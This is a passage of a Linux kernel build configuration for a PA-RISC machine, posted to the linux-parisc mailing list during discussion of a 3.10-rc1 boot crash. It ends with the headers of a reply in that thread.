# CONFIG_SCSI_STEX is not set
CONFIG_SCSI_SYM53C8XX_2=y
CONFIG_SCSI_SYM53C8XX_DMA_ADDRESSING_MODE=1
CONFIG_SCSI_SYM53C8XX_DEFAULT_TAGS=16
CONFIG_SCSI_SYM53C8XX_MAX_TAGS=64
CONFIG_SCSI_SYM53C8XX_MMIO=y
# CONFIG_SCSI_IPR is not set
# CONFIG_SCSI_QLOGIC_1280 is not set
# CONFIG_SCSI_QLA_FC is not set
# CONFIG_SCSI_QLA_ISCSI is not set
# CONFIG_SCSI_LPFC is not set
# CONFIG_SCSI_DC395x is not set
# CONFIG_SCSI_DC390T is not set
# CONFIG_SCSI_DEBUG is not set
# CONFIG_SCSI_PMCRAID is not set
# CONFIG_SCSI_PM8001 is not set
# CONFIG_SCSI_SRP is not set
# CONFIG_SCSI_BFA_FC is not set
# CONFIG_SCSI_CHELSIO_FCOE is not set
# CONFIG_SCSI_DH is not set
# CONFIG_SCSI_OSD_INITIATOR is not set
CONFIG_ATA=m
# CONFIG_ATA_NONSTANDARD is not set
CONFIG_ATA_VERBOSE_ERROR=y
# CONFIG_SATA_PMP is not set

#
# Controllers with non-SFF native interface
#
# CONFIG_SATA_AHCI is not set
# CONFIG_SATA_AHCI_PLATFORM is not set
# CONFIG_SATA_INIC162X is not set
# CONFIG_SATA_ACARD_AHCI is not set
# CONFIG_SATA_SIL24 is not set
CONFIG_ATA_SFF=y

#
# SFF controllers with custom DMA interface
#
# CONFIG_PDC_ADMA is not set
# CONFIG_SATA_QSTOR is not set
# CONFIG_SATA_SX4 is not set
CONFIG_ATA_BMDMA=y

#
# SATA SFF controllers with BMDMA
#
# CONFIG_ATA_PIIX is not set
# CONFIG_SATA_HIGHBANK is not set
# CONFIG_SATA_MV is not set
# CONFIG_SATA_NV is not set
# CONFIG_SATA_PROMISE is not set
# CONFIG_SATA_SIL is not set
# CONFIG_SATA_SIS is not set
# CONFIG_SATA_SVW is not set
# CONFIG_SATA_ULI is not set
# CONFIG_SATA_VIA is not set
# CONFIG_SATA_VITESSE is not set

#
# PATA SFF controllers with BMDMA
#
# CONFIG_PATA_ALI is not set
# CONFIG_PATA_AMD is not set
# CONFIG_PATA_ARTOP is not set
# CONFIG_PATA_ATIIXP is not set
# CONFIG_PATA_ATP867X is not set
CONFIG_PATA_CMD64X=m
# CONFIG_PATA_CS5520 is not set
# CONFIG_PATA_CS5530 is not set
# CONFIG_PATA_CS5536 is not set
# CONFIG_PATA_CYPRESS is not set
# CONFIG_PATA_EFAR is not set
# CONFIG_PATA_HPT366 is not set
# CONFIG_PATA_HPT37X is not set
# CONFIG_PATA_HPT3X2N is not set
# CONFIG_PATA_HPT3X3 is not set
# CONFIG_PATA_IT8213 is not set
# CONFIG_PATA_IT821X is not set
# CONFIG_PATA_JMICRON is not set
# CONFIG_PATA_MARVELL is not set
# CONFIG_PATA_NETCELL is not set
# CONFIG_PATA_NINJA32 is not set
# CONFIG_PATA_NS87415 is not set
# CONFIG_PATA_OLDPIIX is not set
# CONFIG_PATA_OPTIDMA is not set
# CONFIG_PATA_PDC2027X is not set
# CONFIG_PATA_PDC_OLD is not set
# CONFIG_PATA_RADISYS is not set
# CONFIG_PATA_RDC is not set
# CONFIG_PATA_SC1200 is not set
# CONFIG_PATA_SCH is not set
# CONFIG_PATA_SERVERWORKS is not set
# CONFIG_PATA_SIL680 is not set
# CONFIG_PATA_SIS is not set
# CONFIG_PATA_TOSHIBA is not set
# CONFIG_PATA_TRIFLEX is not set
# CONFIG_PATA_VIA is not set
# CONFIG_PATA_WINBOND is not set

#
# PIO-only SFF controllers
#
# CONFIG_PATA_CMD640_PCI is not set
# CONFIG_PATA_MPIIX is not set
# CONFIG_PATA_NS87410 is not set
# CONFIG_PATA_OPTI is not set
# CONFIG_PATA_RZ1000 is not set

#
# Generic fallback / legacy drivers
#
# CONFIG_ATA_GENERIC is not set
# CONFIG_PATA_LEGACY is not set
# CONFIG_MD is not set
# CONFIG_TARGET_CORE is not set
# CONFIG_FUSION is not set

#
# IEEE 1394 (FireWire) support
#
# CONFIG_FIREWIRE is not set
# CONFIG_FIREWIRE_NOSY is not set
# CONFIG_I2O is not set
CONFIG_NETDEVICES=y
CONFIG_NET_CORE=y
# CONFIG_BONDING is not set
# CONFIG_DUMMY is not set
# CONFIG_EQUALIZER is not set
# CONFIG_NET_FC is not set
# CONFIG_MII is not set
# CONFIG_NET_TEAM is not set
# CONFIG_MACVLAN is not set
# CONFIG_VXLAN is not set
# CONFIG_NETCONSOLE is not set
# CONFIG_NETPOLL is not set
# CONFIG_NET_POLL_CONTROLLER is not set
# CONFIG_TUN is not set
# CONFIG_VETH is not set
# CONFIG_ARCNET is not set

#
# CAIF transport drivers
#

#
# Distributed Switch Architecture drivers
#
# CONFIG_NET_DSA_MV88E6XXX is not set
# CONFIG_NET_DSA_MV88E6060 is not set
# CONFIG_NET_DSA_MV88E6XXX_NEED_PPU is not set
# CONFIG_NET_DSA_MV88E6131 is not set
# CONFIG_NET_DSA_MV88E6123_61_65 is not set
CONFIG_ETHERNET=y
# CONFIG_NET_VENDOR_3COM is not set
# CONFIG_NET_VENDOR_ADAPTEC is not set
# CONFIG_NET_VENDOR_ALTEON is not set
# CONFIG_NET_VENDOR_AMD is not set
# CONFIG_NET_VENDOR_ATHEROS is not set
# CONFIG_NET_CADENCE is not set
CONFIG_NET_VENDOR_BROADCOM=y
# CONFIG_B44 is not set
# CONFIG_BNX2 is not set
# CONFIG_CNIC is not set
CONFIG_TIGON3=m
# CONFIG_BNX2X is not set
# CONFIG_NET_VENDOR_BROCADE is not set
# CONFIG_NET_CALXEDA_XGMAC is not set
# CONFIG_NET_VENDOR_CHELSIO is not set
# CONFIG_NET_VENDOR_CISCO is not set
# CONFIG_DNET is not set
# CONFIG_NET_VENDOR_DEC is not set
# CONFIG_NET_VENDOR_DLINK is not set
# CONFIG_NET_VENDOR_EMULEX is not set
# CONFIG_NET_VENDOR_EXAR is not set
# CONFIG_NET_VENDOR_HP is not set
# CONFIG_NET_VENDOR_INTEL is not set
# CONFIG_IP1000 is not set
# CONFIG_JME is not set
# CONFIG_NET_VENDOR_MARVELL is not set
# CONFIG_NET_VENDOR_MELLANOX is not set
# CONFIG_NET_VENDOR_MICREL is not set
# CONFIG_NET_VENDOR_MYRI is not set
# CONFIG_FEALNX is not set
# CONFIG_NET_VENDOR_NATSEMI is not set
# CONFIG_NET_VENDOR_NVIDIA is not set
# CONFIG_NET_VENDOR_OKI is not set
# CONFIG_ETHOC is not set
# CONFIG_NET_PACKET_ENGINE is not set
# CONFIG_NET_VENDOR_QLOGIC is not set
# CONFIG_NET_VENDOR_REALTEK is not set
# CONFIG_NET_VENDOR_RDC is not set
# CONFIG_NET_VENDOR_SEEQ is not set
# CONFIG_NET_VENDOR_SILAN is not set
# CONFIG_NET_VENDOR_SIS is not set
# CONFIG_SFC is not set
# CONFIG_NET_VENDOR_SMSC is not set
# CONFIG_NET_VENDOR_STMICRO is not set
# CONFIG_NET_VENDOR_SUN is not set
# CONFIG_NET_VENDOR_TEHUTI is not set
# CONFIG_NET_VENDOR_TI is not set
# CONFIG_NET_VENDOR_VIA is not set
# CONFIG_NET_VENDOR_WIZNET is not set
# CONFIG_FDDI is not set
# CONFIG_HIPPI is not set
CONFIG_PHYLIB=m

#
# MII PHY device drivers
#
# CONFIG_AT803X_PHY is not set
# CONFIG_AMD_PHY is not set
# CONFIG_MARVELL_PHY is not set
# CONFIG_DAVICOM_PHY is not set
# CONFIG_QSEMI_PHY is not set
# CONFIG_LXT_PHY is not set
# CONFIG_CICADA_PHY is not set
# CONFIG_VITESSE_PHY is not set
# CONFIG_SMSC_PHY is not set
# CONFIG_BROADCOM_PHY is not set
# CONFIG_BCM87XX_PHY is not set
# CONFIG_ICPLUS_PHY is not set
# CONFIG_REALTEK_PHY is not set
# CONFIG_NATIONAL_PHY is not set
# CONFIG_STE10XP is not set
# CONFIG_LSI_ET1011C_PHY is not set
# CONFIG_MICREL_PHY is not set
# CONFIG_MDIO_BITBANG is not set
# CONFIG_PPP is not set
# CONFIG_SLIP is not set
# CONFIG_WLAN is not set

#
# Enable WiMAX (Networking options) to see the WiMAX drivers
#
# CONFIG_WAN is not set
# CONFIG_VMXNET3 is not set
# CONFIG_ISDN is not set

#
# Input device support
#
CONFIG_INPUT=y
# CONFIG_INPUT_FF_MEMLESS is not set
# CONFIG_INPUT_POLLDEV is not set
# CONFIG_INPUT_SPARSEKMAP is not set
# CONFIG_INPUT_MATRIXKMAP is not set

#
# Userland interfaces
#
CONFIG_INPUT_MOUSEDEV=y
CONFIG_INPUT_MOUSEDEV_PSAUX=y
CONFIG_INPUT_MOUSEDEV_SCREEN_X=1024
CONFIG_INPUT_MOUSEDEV_SCREEN_Y=768
# CONFIG_INPUT_JOYDEV is not set
# CONFIG_INPUT_EVDEV is not set
# CONFIG_INPUT_EVBUG is not set

#
# Input Device Drivers
#
CONFIG_INPUT_KEYBOARD=y
CONFIG_KEYBOARD_ATKBD=y
CONFIG_KEYBOARD_ATKBD_HP_KEYCODES=y
# CONFIG_KEYBOARD_ATKBD_RDI_KEYCODES is not set
# CONFIG_KEYBOARD_LKKBD is not set
# CONFIG_KEYBOARD_NEWTON is not set
# CONFIG_KEYBOARD_OPENCORES is not set
# CONFIG_KEYBOARD_STOWAWAY is not set
# CONFIG_KEYBOARD_SUNKBD is not set
# CONFIG_KEYBOARD_XTKBD is not set
CONFIG_INPUT_MOUSE=y
CONFIG_MOUSE_PS2=y
CONFIG_MOUSE_PS2_ALPS=y
CONFIG_MOUSE_PS2_LOGIPS2PP=y
CONFIG_MOUSE_PS2_SYNAPTICS=y
CONFIG_MOUSE_PS2_CYPRESS=y
CONFIG_MOUSE_PS2_TRACKPOINT=y
# CONFIG_MOUSE_PS2_ELANTECH is not set
# CONFIG_MOUSE_PS2_SENTELIC is not set
# CONFIG_MOUSE_PS2_TOUCHKIT is not set
# CONFIG_MOUSE_SERIAL is not set
# CONFIG_MOUSE_VSXXXAA is not set
# CONFIG_INPUT_JOYSTICK is not set
# CONFIG_INPUT_TABLET is not set
# CONFIG_INPUT_TOUCHSCREEN is not set
# CONFIG_INPUT_MISC is not set

#
# Hardware I/O ports
#
CONFIG_SERIO=y
CONFIG_SERIO_SERPORT=y
# CONFIG_SERIO_PCIPS2 is not set
CONFIG_SERIO_LIBPS2=y
# CONFIG_SERIO_RAW is not set
# CONFIG_SERIO_ALTERA_PS2 is not set
# CONFIG_SERIO_PS2MULT is not set
# CONFIG_SERIO_ARC_PS2 is not set
# CONFIG_GAMEPORT is not set

#
# Character devices
#
CONFIG_TTY=y
CONFIG_VT=y
CONFIG_CONSOLE_TRANSLATIONS=y
CONFIG_VT_CONSOLE=y
CONFIG_HW_CONSOLE=y
# CONFIG_VT_HW_CONSOLE_BINDING is not set
CONFIG_UNIX98_PTYS=y
CONFIG_DEVPTS_MULTIPLE_INSTANCES=y
# CONFIG_LEGACY_PTYS is not set
# CONFIG_SERIAL_NONSTANDARD is not set
# CONFIG_NOZOMI is not set
# CONFIG_N_GSM is not set
# CONFIG_TRACE_SINK is not set
CONFIG_DEVKMEM=y

#
# Serial drivers
#
CONFIG_SERIAL_8250=y
# CONFIG_SERIAL_8250_DEPRECATED_OPTIONS is not set
CONFIG_SERIAL_8250_CONSOLE=y
CONFIG_SERIAL_8250_PCI=y
CONFIG_SERIAL_8250_NR_UARTS=4
CONFIG_SERIAL_8250_RUNTIME_UARTS=4
# CONFIG_SERIAL_8250_EXTENDED is not set
# CONFIG_SERIAL_8250_DW is not set

#
# Non-8250 serial port support
#
# CONFIG_SERIAL_MFD_HSU is not set
# CONFIG_PDC_CONSOLE is not set
CONFIG_SERIAL_CORE=y
CONFIG_SERIAL_CORE_CONSOLE=y
# CONFIG_SERIAL_JSM is not set
# CONFIG_SERIAL_SCCNXP is not set
# CONFIG_SERIAL_TIMBERDALE is not set
# CONFIG_SERIAL_ALTERA_JTAGUART is not set
# CONFIG_SERIAL_ALTERA_UART is not set
# CONFIG_SERIAL_PCH_UART is not set
# CONFIG_SERIAL_ARC is not set
# CONFIG_SERIAL_RP2 is not set
# CONFIG_IPMI_HANDLER is not set
# CONFIG_HW_RANDOM is not set
# CONFIG_R3964 is not set
# CONFIG_APPLICOM is not set
# CONFIG_RAW_DRIVER is not set
# CONFIG_TCG_TPM is not set
CONFIG_DEVPORT=y
# CONFIG_I2C is not set
# CONFIG_SPI is not set

#
# Qualcomm MSM SSBI bus support
#
# CONFIG_SSBI is not set
# CONFIG_HSI is not set

#
# PPS support
#
CONFIG_PPS=m
# CONFIG_PPS_DEBUG is not set
# CONFIG_NTP_PPS is not set

#
# PPS clients support
#
# CONFIG_PPS_CLIENT_KTIMER is not set
# CONFIG_PPS_CLIENT_LDISC is not set
# CONFIG_PPS_CLIENT_GPIO is not set

#
# PPS generators support
#

#
# PTP clock support
#
CONFIG_PTP_1588_CLOCK=m

#
# Enable PHYLIB and NETWORK_PHY_TIMESTAMPING to see the additional clocks.
#
# CONFIG_PTP_1588_CLOCK_PCH is not set
CONFIG_GPIO_DEVRES=y
# CONFIG_W1 is not set
# CONFIG_POWER_SUPPLY is not set
# CONFIG_POWER_AVS is not set
CONFIG_HWMON=m
# CONFIG_HWMON_VID is not set
# CONFIG_HWMON_DEBUG_CHIP is not set

#
# Native drivers
#
# CONFIG_SENSORS_I5K_AMB is not set
# CONFIG_SENSORS_F71805F is not set
# CONFIG_SENSORS_F71882FG is not set
# CONFIG_SENSORS_IT87 is not set
# CONFIG_SENSORS_MAX197 is not set
# CONFIG_SENSORS_NCT6775 is not set
# CONFIG_SENSORS_NTC_THERMISTOR is not set
# CONFIG_SENSORS_PC87360 is not set
# CONFIG_SENSORS_PC87427 is not set
# CONFIG_SENSORS_SIS5595 is not set
# CONFIG_SENSORS_SMSC47M1 is not set
# CONFIG_SENSORS_SMSC47B397 is not set
# CONFIG_SENSORS_SCH56XX_COMMON is not set
# CONFIG_SENSORS_VIA686A is not set
# CONFIG_SENSORS_VT1211 is not set
# CONFIG_SENSORS_VT8231 is not set
# CONFIG_SENSORS_W83627HF is not set
# CONFIG_SENSORS_W83627EHF is not set
# CONFIG_THERMAL is not set
# CONFIG_WATCHDOG is not set
CONFIG_SSB_POSSIBLE=y

#
# Sonics Silicon Backplane
#
# CONFIG_SSB is not set
CONFIG_BCMA_POSSIBLE=y

#
# Broadcom specific AMBA
#
# CONFIG_BCMA is not set

#
# Multifunction device drivers
#
# CONFIG_MFD_CORE is not set
# CONFIG_MFD_CROS_EC is not set
# CONFIG_HTC_PASIC3 is not set
# CONFIG_LPC_ICH is not set
# CONFIG_LPC_SCH is not set
# CONFIG_MFD_JANZ_CMODIO is not set
# CONFIG_MFD_RDC321X is not set
# CONFIG_MFD_RTSX_PCI is not set
# CONFIG_MFD_SM501 is not set
# CONFIG_ABX500_CORE is not set
# CONFIG_MFD_SYSCON is not set
# CONFIG_MFD_TI_AM335X_TSCADC is not set
# CONFIG_MFD_TMIO is not set
# CONFIG_MFD_VX855 is not set
# CONFIG_REGULATOR is not set
# CONFIG_MEDIA_SUPPORT is not set

#
# Graphics support
#
# CONFIG_AGP is not set
CONFIG_VGA_ARB=y
CONFIG_VGA_ARB_MAX_GPUS=16
# CONFIG_DRM is not set
# CONFIG_VGASTATE is not set
# CONFIG_VIDEO_OUTPUT_CONTROL is not set
# CONFIG_FB is not set
# CONFIG_EXYNOS_VIDEO is not set
# CONFIG_BACKLIGHT_LCD_SUPPORT is not set

#
# Console display driver support
#
CONFIG_DUMMY_CONSOLE=y
CONFIG_DUMMY_CONSOLE_COLUMNS=160
CONFIG_DUMMY_CONSOLE_ROWS=64
CONFIG_STI_CONSOLE=y
# CONFIG_FONTS is not set
CONFIG_FONT_8x8=y
CONFIG_FONT_8x16=y
# CONFIG_SOUND is not set

#
# HID support
#
# CONFIG_HID is not set
CONFIG_USB_ARCH_HAS_OHCI=y
CONFIG_USB_ARCH_HAS_EHCI=y
CONFIG_USB_ARCH_HAS_XHCI=y
# CONFIG_USB_SUPPORT is not set
# CONFIG_UWB is not set
# CONFIG_MMC is not set
# CONFIG_MEMSTICK is not set
# CONFIG_NEW_LEDS is not set
# CONFIG_ACCESSIBILITY is not set
# CONFIG_INFINIBAND is not set
CONFIG_RTC_LIB=y
CONFIG_RTC_CLASS=y
CONFIG_RTC_HCTOSYS=y
CONFIG_RTC_SYSTOHC=y
CONFIG_RTC_HCTOSYS_DEVICE="rtc0"
# CONFIG_RTC_DEBUG is not set

#
# RTC interfaces
#
CONFIG_RTC_INTF_SYSFS=y
CONFIG_RTC_INTF_PROC=y
CONFIG_RTC_INTF_DEV=y
CONFIG_RTC_INTF_DEV_UIE_EMUL=y
# CONFIG_RTC_DRV_TEST is not set

#
# SPI RTC drivers
#

#
# Platform RTC drivers
#
# CONFIG_RTC_DRV_DS1286 is not set
# CONFIG_RTC_DRV_DS1511 is not set
# CONFIG_RTC_DRV_DS1553 is not set
# CONFIG_RTC_DRV_DS1742 is not set
# CONFIG_RTC_DRV_STK17TA8 is not set
# CONFIG_RTC_DRV_M48T86 is not set
# CONFIG_RTC_DRV_M48T35 is not set
# CONFIG_RTC_DRV_M48T59 is not set
# CONFIG_RTC_DRV_MSM6242 is not set
# CONFIG_RTC_DRV_BQ4802 is not set
# CONFIG_RTC_DRV_RP5C01 is not set
# CONFIG_RTC_DRV_V3020 is not set
# CONFIG_RTC_DRV_DS2404 is not set

#
# on-CPU RTC drivers
#
CONFIG_RTC_DRV_GENERIC=y

#
# HID Sensor RTC drivers
#
# CONFIG_DMADEVICES is not set
# CONFIG_AUXDISPLAY is not set
# CONFIG_UIO is not set
# CONFIG_VIRT_DRIVERS is not set

#
# Virtio drivers
#
# CONFIG_VIRTIO_PCI is not set
# CONFIG_VIRTIO_MMIO is not set

#
# Microsoft Hyper-V guest support
#
# CONFIG_STAGING is not set

#
# Hardware Spinlock drivers
#
# CONFIG_MAILBOX is not set
CONFIG_IOMMU_SUPPORT=y

#
# Remoteproc drivers
#
# CONFIG_STE_MODEM_RPROC is not set

#
# Rpmsg drivers
#
# CONFIG_PM_DEVFREQ is not set
# CONFIG_EXTCON is not set
# CONFIG_MEMORY is not set
# CONFIG_IIO is not set
# CONFIG_VME_BUS is not set
# CONFIG_PWM is not set
# CONFIG_IPACK_BUS is not set
# CONFIG_RESET_CONTROLLER is not set

#
# File systems
#
# CONFIG_EXT2_FS is not set
# CONFIG_EXT3_FS is not set
CONFIG_EXT4_FS=y
CONFIG_EXT4_USE_FOR_EXT23=y
# CONFIG_EXT4_FS_POSIX_ACL is not set
# CONFIG_EXT4_FS_SECURITY is not set
# CONFIG_EXT4_DEBUG is not set
CONFIG_JBD2=y
CONFIG_FS_MBCACHE=y
# CONFIG_REISERFS_FS is not set
# CONFIG_JFS_FS is not set
# CONFIG_XFS_FS is not set
# CONFIG_GFS2_FS is not set
# CONFIG_BTRFS_FS is not set
# CONFIG_NILFS2_FS is not set
CONFIG_FS_POSIX_ACL=y
CONFIG_FILE_LOCKING=y
CONFIG_FSNOTIFY=y
CONFIG_DNOTIFY=y
CONFIG_INOTIFY_USER=y
# CONFIG_FANOTIFY is not set
# CONFIG_QUOTA is not set
# CONFIG_QUOTACTL is not set
# CONFIG_AUTOFS4_FS is not set
# CONFIG_FUSE_FS is not set
CONFIG_GENERIC_ACL=y

#
# Caches
#
# CONFIG_FSCACHE is not set

#
# CD-ROM/DVD Filesystems
#
# CONFIG_ISO9660_FS is not set
# CONFIG_UDF_FS is not set

#
# DOS/FAT/NT Filesystems
#
# CONFIG_MSDOS_FS is not set
# CONFIG_VFAT_FS is not set
# CONFIG_NTFS_FS is not set

#
# Pseudo filesystems
#
CONFIG_PROC_FS=y
# CONFIG_PROC_KCORE is not set
CONFIG_PROC_SYSCTL=y
CONFIG_PROC_PAGE_MONITOR=y
CONFIG_SYSFS=y
CONFIG_TMPFS=y
CONFIG_TMPFS_POSIX_ACL=y
CONFIG_TMPFS_XATTR=y
# CONFIG_HUGETLB_PAGE is not set
# CONFIG_CONFIGFS_FS is not set
# CONFIG_MISC_FILESYSTEMS is not set
# CONFIG_NETWORK_FILESYSTEMS is not set
# CONFIG_NLS is not set

#
# Kernel hacking
#
# CONFIG_PRINTK_TIME is not set
CONFIG_DEFAULT_MESSAGE_LOGLEVEL=4
# CONFIG_ENABLE_WARN_DEPRECATED is not set
# CONFIG_ENABLE_MUST_CHECK is not set
CONFIG_FRAME_WARN=1024
# CONFIG_MAGIC_SYSRQ is not set
# CONFIG_STRIP_ASM_SYMS is not set
# CONFIG_READABLE_ASM is not set
# CONFIG_UNUSED_SYMBOLS is not set
# CONFIG_DEBUG_FS is not set
# CONFIG_HEADERS_CHECK is not set
CONFIG_DEBUG_SECTION_MISMATCH=y
CONFIG_DEBUG_KERNEL=y
# CONFIG_DEBUG_SHIRQ is not set
# CONFIG_LOCKUP_DETECTOR is not set
# CONFIG_PANIC_ON_OOPS is not set
CONFIG_PANIC_ON_OOPS_VALUE=0
# CONFIG_DETECT_HUNG_TASK is not set
CONFIG_SCHED_DEBUG=y
# CONFIG_SCHEDSTATS is not set
# CONFIG_TIMER_STATS is not set
# CONFIG_DEBUG_OBJECTS is not set
# CONFIG_SLUB_DEBUG_ON is not set
# CONFIG_SLUB_STATS is not set
# CONFIG_DEBUG_RT_MUTEXES is not set
# CONFIG_RT_MUTEX_TESTER is not set
# CONFIG_DEBUG_SPINLOCK is not set
# CONFIG_DEBUG_MUTEXES is not set
CONFIG_DEBUG_ATOMIC_SLEEP=y
# CONFIG_DEBUG_LOCKING_API_SELFTESTS is not set
# CONFIG_DEBUG_KOBJECT is not set
CONFIG_DEBUG_BUGVERBOSE=y
# CONFIG_DEBUG_INFO is not set
# CONFIG_DEBUG_VM is not set
# CONFIG_DEBUG_WRITECOUNT is not set
CONFIG_DEBUG_MEMORY_INIT=y
# CONFIG_DEBUG_LIST is not set
# CONFIG_TEST_LIST_SORT is not set
# CONFIG_DEBUG_SG is not set
# CONFIG_DEBUG_NOTIFIERS is not set
# CONFIG_DEBUG_CREDENTIALS is not set
CONFIG_ARCH_WANT_FRAME_POINTERS=y
CONFIG_FRAME_POINTER=y
# CONFIG_BOOT_PRINTK_DELAY is not set

#
# RCU Debugging
#
# CONFIG_SPARSE_RCU_POINTER is not set
# CONFIG_RCU_TORTURE_TEST is not set
# CONFIG_RCU_TRACE is not set
# CONFIG_BACKTRACE_SELF_TEST is not set
# CONFIG_DEBUG_BLOCK_EXT_DEVT is not set
# CONFIG_DEBUG_FORCE_WEAK_PER_CPU is not set
# CONFIG_NOTIFIER_ERROR_INJECTION is not set
# CONFIG_FAULT_INJECTION is not set
# CONFIG_LATENCYTOP is not set
CONFIG_ARCH_HAS_DEBUG_STRICT_USER_COPY_CHECKS=y
# CONFIG_DEBUG_STRICT_USER_COPY_CHECKS is not set
# CONFIG_DEBUG_PAGEALLOC is not set
CONFIG_HAVE_FUNCTION_TRACER=y
CONFIG_HAVE_FUNCTION_GRAPH_TRACER=y
CONFIG_HAVE_FUNCTION_TRACE_MCOUNT_TEST=y
# CONFIG_RBTREE_TEST is not set
# CONFIG_INTERVAL_TREE_TEST is not set
# CONFIG_ATOMIC64_SELFTEST is not set
# CONFIG_SAMPLES is not set
# CONFIG_TEST_STRING_HELPERS is not set
# CONFIG_TEST_KSTRTOX is not set
# CONFIG_DEBUG_RODATA is not set
CONFIG_DEBUG_STACKOVERFLOW=y

#
# Security options
#
# CONFIG_KEYS is not set
# CONFIG_SECURITY_DMESG_RESTRICT is not set
# CONFIG_SECURITY is not set
# CONFIG_SECURITYFS is not set
CONFIG_DEFAULT_SECURITY_DAC=y
CONFIG_DEFAULT_SECURITY=""
CONFIG_CRYPTO=y

#
# Crypto core or helper
#
CONFIG_CRYPTO_ALGAPI=y
CONFIG_CRYPTO_ALGAPI2=y
CONFIG_CRYPTO_AEAD=m
CONFIG_CRYPTO_AEAD2=y
CONFIG_CRYPTO_BLKCIPHER=m
CONFIG_CRYPTO_BLKCIPHER2=y
CONFIG_CRYPTO_HASH=y
CONFIG_CRYPTO_HASH2=y
CONFIG_CRYPTO_RNG2=y
CONFIG_CRYPTO_PCOMP2=y
CONFIG_CRYPTO_MANAGER=m
CONFIG_CRYPTO_MANAGER2=y
# CONFIG_CRYPTO_USER is not set
CONFIG_CRYPTO_MANAGER_DISABLE_TESTS=y
# CONFIG_CRYPTO_GF128MUL is not set
# CONFIG_CRYPTO_NULL is not set
CONFIG_CRYPTO_WORKQUEUE=y
# CONFIG_CRYPTO_CRYPTD is not set
CONFIG_CRYPTO_AUTHENC=m
# CONFIG_CRYPTO_TEST is not set

#
# Authenticated Encryption with Associated Data
#
# CONFIG_CRYPTO_CCM is not set
# CONFIG_CRYPTO_GCM is not set
# CONFIG_CRYPTO_SEQIV is not set

#
# Block modes
#
CONFIG_CRYPTO_CBC=m
# CONFIG_CRYPTO_CTR is not set
# CONFIG_CRYPTO_CTS is not set
# CONFIG_CRYPTO_ECB is not set
# CONFIG_CRYPTO_LRW is not set
# CONFIG_CRYPTO_PCBC is not set
# CONFIG_CRYPTO_XTS is not set

#
# Hash modes
#
# CONFIG_CRYPTO_CMAC is not set
CONFIG_CRYPTO_HMAC=m
# CONFIG_CRYPTO_XCBC is not set
# CONFIG_CRYPTO_VMAC is not set

#
# Digest
#
CONFIG_CRYPTO_CRC32C=y
# CONFIG_CRYPTO_CRC32 is not set
# CONFIG_CRYPTO_GHASH is not set
# CONFIG_CRYPTO_MD4 is not set
CONFIG_CRYPTO_MD5=m
# CONFIG_CRYPTO_MICHAEL_MIC is not set
# CONFIG_CRYPTO_RMD128 is not set
# CONFIG_CRYPTO_RMD160 is not set
# CONFIG_CRYPTO_RMD256 is not set
# CONFIG_CRYPTO_RMD320 is not set
CONFIG_CRYPTO_SHA1=m
# CONFIG_CRYPTO_SHA256 is not set
# CONFIG_CRYPTO_SHA512 is not set
# CONFIG_CRYPTO_TGR192 is not set
# CONFIG_CRYPTO_WP512 is not set

#
# Ciphers
#
CONFIG_CRYPTO_AES=y
# CONFIG_CRYPTO_ANUBIS is not set
# CONFIG_CRYPTO_ARC4 is not set
# CONFIG_CRYPTO_BLOWFISH is not set
# CONFIG_CRYPTO_CAMELLIA is not set
# CONFIG_CRYPTO_CAST5 is not set
# CONFIG_CRYPTO_CAST6 is not set
CONFIG_CRYPTO_DES=m
# CONFIG_CRYPTO_FCRYPT is not set
# CONFIG_CRYPTO_KHAZAD is not set
# CONFIG_CRYPTO_SALSA20 is not set
# CONFIG_CRYPTO_SEED is not set
# CONFIG_CRYPTO_SERPENT is not set
# CONFIG_CRYPTO_TEA is not set
# CONFIG_CRYPTO_TWOFISH is not set

#
# Compression
#
CONFIG_CRYPTO_DEFLATE=m
# CONFIG_CRYPTO_ZLIB is not set
# CONFIG_CRYPTO_LZO is not set

#
# Random Number Generation
#
# CONFIG_CRYPTO_ANSI_CPRNG is not set
# CONFIG_CRYPTO_USER_API_HASH is not set
# CONFIG_CRYPTO_USER_API_SKCIPHER is not set
# CONFIG_CRYPTO_HW is not set
# CONFIG_BINARY_PRINTF is not set

#
# Library routines
#
CONFIG_BITREVERSE=y
CONFIG_GENERIC_STRNCPY_FROM_USER=y
CONFIG_GENERIC_PCI_IOMAP=y
CONFIG_GENERIC_IO=y
# CONFIG_CRC_CCITT is not set
CONFIG_CRC16=y
# CONFIG_CRC_T10DIF is not set
# CONFIG_CRC_ITU_T is not set
CONFIG_CRC32=y
# CONFIG_CRC32_SELFTEST is not set
CONFIG_CRC32_SLICEBY8=y
# CONFIG_CRC32_SLICEBY4 is not set
# CONFIG_CRC32_SARWATE is not set
# CONFIG_CRC32_BIT is not set
# CONFIG_CRC7 is not set
# CONFIG_LIBCRC32C is not set
# CONFIG_CRC8 is not set
CONFIG_ZLIB_INFLATE=m
CONFIG_ZLIB_DEFLATE=m
# CONFIG_XZ_DEC is not set
# CONFIG_XZ_DEC_BCJ is not set
CONFIG_HAS_IOMEM=y
CONFIG_HAS_IOPORT=y
CONFIG_HAS_DMA=y
CONFIG_DQL=y
CONFIG_NLATTR=y
CONFIG_ARCH_HAS_ATOMIC64_DEC_IF_POSITIVE=y
# CONFIG_AVERAGE is not set
# CONFIG_CORDIC is not set
# CONFIG_DDR is not set

-- 
Meelis Roos (mroos@linux.ee)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: parisc boot crash on 3.10-rc1+git
Date: Wed, 15 May 2013 20:16:21 +0200
Lines: 2158
Approved: news@gmane.org
Message-ID: <5193D0F5.4060706@gmx.de>
References: <alpine.SOC.1.00.1305141432120.9094@math.ut.ee> <51929EAB.3020503@gmx.de> <alpine.SOC.1.00.1305150957460.29631@math.ut.ee>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------030800080103050901040501"
X-Trace: ger.gmane.org 1368641788 16908 80.91.229.3 (15 May 2013 18:16:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 15 May 2013 18:16:28 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Meelis Roos <mroos@linux.ee>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed May 15 20:16:27 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
